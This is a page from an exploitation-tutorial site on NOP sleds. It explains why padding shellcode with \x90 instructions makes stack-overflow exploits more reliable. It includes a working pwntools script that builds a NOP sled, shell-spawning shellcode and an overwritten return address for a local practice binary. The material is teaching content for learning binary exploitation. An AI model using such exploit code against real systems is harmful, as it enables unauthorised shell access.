Cybersecurity Notes
MathematicsCryptography
  • Cybersecurity Notes
  • Binary Exploitation
    • Stack
      • Introduction
      • ret2win
      • De Bruijn Sequences
      • Shellcode
      • NOPs
      • 32- vs 64-bit
      • No eXecute
      • Return-Oriented Programming
        • Calling Conventions
        • Gadgets
        • Exploiting Calling Conventions
        • ret2libc
        • Stack Alignment
      • Format String Bug
      • Stack Canaries
      • PIE
        • Pwntools, PIE and ROP
        • PIE Bypass with Given Leak
        • PIE Bypass
      • ASLR
        • ASLR Bypass with Given Leak
        • PLT and GOT
        • ret2plt ASLR bypass
      • GOT Overwrite
        • Exploiting a GOT overwrite
      • RELRO
      • Reliable Shellcode
        • ROP and Shellcode
        • Using RSP
        • ret2reg
          • Using ret2reg
      • One Gadgets and Malloc Hook
      • Syscalls
        • Exploitation with Syscalls
        • Sigreturn-Oriented Programming (SROP)
          • Using SROP
      • ret2dlresolve
        • Exploitation
      • ret2csu
        • Exploitation
        • CSU Hardening
      • Exploiting over Sockets
        • Exploit
        • Socat
      • Forking Processes
      • Stack Pivoting
        • Exploitation
          • pop rsp
          • leave
    • Heap
      • Introduction to the Heap
      • Chunks
      • Freeing Chunks and the Bins
        • Operations of the Fastbin
        • Operations of the Other Bins
      • Malloc State
      • malloc_consolidate()
      • Heap Overflow
        • heap0
        • heap1
      • Use-After-Free
      • Double-Free
        • Double-Free Protections
        • Double-Free Exploit
      • Unlink Exploit
      • The Tcache
        • Tcache: calloc()
        • Tcache Poisoning
      • Tcache Keys
      • Safe Linking
    • Kernel
      • Introduction
      • Writing a Char Module
        • An Interactive Char Driver
        • Interactivity with IOCTL
      • A Basic Kernel Interaction Challenge
      • Compiling, Customising and booting the Kernel
      • Double-Fetch
        • Double-Fetch without Sleep
      • The Ultimate Aim of Kernel Exploitation - Process Credentials
      • Kernel ROP - ret2usr
      • Debugging a Kernel Module
      • SMEP
        • Kernel ROP - Disabling SMEP
        • Kernel ROP - Privilege Escalation in Kernel Space
      • SMAP
      • modprobe_path
      • KASLR
      • KPTI
    • Browser Exploitation
      • *CTF 2019 - oob-v8
        • The Challenge
      • picoCTF 2021 - Kit Engine
      • picoCTF 2021 - Download Horsepower
  • Reverse Engineering
    • Strings in C++
    • C++ Decompilation Tricks
    • Reverse Engineering ARM
  • Blockchain
    • An Introduction to Blockchain
  • Smart Contracts and Solidity
  • Hosting a Testnet and Deploying a Contract
  • Interacting with Python
  • Writeups
    • Hack The Box
      • Linux Machines
        • Easy
          • Traceback
        • Medium
          • Magic
          • UpDown
        • Hard
          • Intense
      • Challenges
        • Web
          • Looking Glass
          • Sanitize
          • Baby Auth
          • Baby Website Rick
        • Pwn
          • Dream Diary: Chapter 1
            • Unlink Exploit
            • Chunk Overlap
          • Ropme
    • picoGym
      • Cryptography
        • Mod 26
        • Mind Your Ps and Qs
        • Easy Peasy
        • The Numbers
        • New Caesar
        • Mini RSA
        • Dachshund Attacks
        • No Padding, No Problem
        • Easy1
        • 13
        • Caesar
        • Pixelated
        • Basic-Mod1
        • Basic-Mod2
        • Credstuff
        • morse-code
        • rail-fence
        • Substitution0
        • Substitution1
        • Substitution2
        • Transposition-Trial
        • Vigenere
        • HideToSee
    • CTFs
      • Fword CTF 2020
        • Binary Exploitation
          • Molotov
        • Reversing
          • XO
      • X-MAS CTF 2020
        • Pwn
          • Do I Know You?
          • Naughty
        • Web
          • PHP Master
      • HTB CyberSanta 2021
        • Crypto
          • Common Mistake
          • Missing Reindeer
          • Xmas Spirit
          • Meet Me Halfway
  • Miscellaneous
    • pwntools
      • Introduction
      • Processes and Communication
      • Logging and Context
      • Packing
      • ELF
      • ROP
    • scanf Bypasses
    • Challenges in Containers
    • Using Z3
    • Cross-Compiling for arm32
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. Binary Exploitation
  2. Stack

NOPs

More reliable shellcode exploits

Last updated 4 years ago

Was this helpful?

NOP (no operation) instructions do exactly what they sound like: nothing. Which makes then very useful for shellcode exploits, because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP at the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backwards won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled, since the EIP is essentially sliding down them.

In intel x86 assembly, NOP instructions are \x90.

The NOP instruction actually used to stand for XCHG EAX, EAX, which does effectively nothing. You can read a bit more about it .

Updating our Shellcode Exploit

We can make slight changes to our exploit to do two things:

  • Add a large number of NOPs on the left

  • Adjust our return pointer to point at the middle of the NOPs rather than the buffer start

Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location my be different.

from pwn import *

context.binary = ELF('./vuln')

p = process()

payload = b'\x90' * 240                 # The NOPs
payload += asm(shellcraft.sh())         # The shellcode
payload = payload.ljust(312, b'A')      # Padding
payload += p32(0xffffcfb4 + 120)        # Address of the buffer + half nop length

log.info(p.clean())

p.sendline(payload)

p.interactive()

It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack

Note that NOPs are only \x90 in certain architectures, and if you need others you can use pwntools:

nop = asm(shellcraft.nop())
on this StackOverflow question